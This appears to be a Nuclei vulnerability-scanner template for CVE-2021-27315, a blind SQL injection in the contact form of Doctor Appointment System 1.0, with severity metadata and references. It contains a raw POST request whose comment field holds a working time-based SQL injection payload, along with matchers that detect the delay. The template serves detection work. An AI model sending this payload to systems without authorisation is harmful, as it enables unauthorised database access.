id: CVE-2021-27315

info:
  name: Doctor Appointment System 1.0 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    Blind SQL injection in contactus.php in Doctor Appointment System 1.0 allows an unauthenticated attacker to insert malicious SQL queries via the comment parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
    - http://packetstormsecurity.com/files/161642/Doctor-Appointment-System-1.0-Blind-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-27315
    cwe-id: CWE-89
    epss-score: 0.07826
    epss-percentile: 0.94074
    cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: doctor_appointment_system_project
    product: doctor_appointment_system
  tags: time-based-sqli,cve2021,cve,sqli,doctor-appointment-system,packetstorm,doctor_appointment_system_project,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /contactus.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        firstname={{randstr}}&lastname={{randstr}}&email={{randstr}}%40test.com&comment=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&submit=Send+Us

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 500'
          - 'contains(body, "Medical Management System")'
        condition: and
# digest: 4b0a00483046022100dd69b651cadf0b9c39ec356ca6012798bf13d0c723055b5cee8a618d68770266022100d3864c72f1b1e997e1fcbb7b05593e7594087d117b6fd6661b4c7e8acebefa6f:922c64590222798bb761d5b6d8e72950